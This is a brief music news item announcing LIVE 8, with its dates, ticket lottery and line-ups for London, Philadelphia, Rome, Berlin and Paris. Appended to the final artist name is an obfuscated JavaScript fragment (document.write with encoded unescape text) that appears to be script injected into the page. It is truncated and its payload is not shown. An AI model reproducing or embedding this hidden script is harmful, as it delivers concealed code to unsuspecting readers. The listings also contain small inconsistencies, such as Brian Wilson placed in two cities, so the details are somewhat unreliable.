Bob Geldof has officially revealed plans for LIVE 8.
The gigs, on July 2, will take place in Hyde Park in London, as well as shows in Philadelphia, Berlin, Rome and Paris.
Tickets for the London show will be free, but only available to people who win a text lottery, which takes place on June 6.
Artists already confirmed include U2, Razorlight , Muse, Scissor Sisters, Robbie Williams, Madonna, Elton John, Coldplay, REM, Dido, Paul McCartney and Keane.
There have also been mutterings of a Spice Girls reunion, currently unconfirmed.
In Philadelphia, confirmed acts include Will Smith, Bon Jovi, Maroon 5, Stevie Wonder, Jay-Z and Brian Wilson.
The confirmed line-up so far runs:
Hyde Park, London
Coldplay
The Killers
Velvet Revolver
Bob Geldof
The Cure
Mariah Carey
Dido
Keane
Snow Patrol
Elton John
Annie Lennox
Madonna
Paul McCartney
Razorlight
Snoop Dogg
Sting
U2
Joss Stone
Stereophonics
REM
Scissor Sisters
Muse
Robbie Williams
Museum Of Art, Philadelphia
Will Smith
Bon Jovi
The Dave Matthews Band
Stevie Wonder
Jay-Z
Puff Daddy
Il Divo
Maroon 5
Rob Thomas
Keith Urban
50 Cent
Kaiser Chiefs
Circus Maximus, Rome
Faith Hill
Tim McGraw
Duran Duran
Jovanotti
Nek
Laura Pausini
Vasco Rossi
Zucchero
Brandenburg gate, Berlin
A-Ha
Crosby, Stills and Nash
Lauryn Hill
Brian Wilson
Bap
Die Toten Hosen
Peter Maffay
Eiffel Tower, Paris
Jamiroquai
Placebo
Youssou N'Dour
Andrea Docelli
Craig David
Calo Gero
Kyo
Yannick Noah
Axelle Red
Johnny Hallidaydocument.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;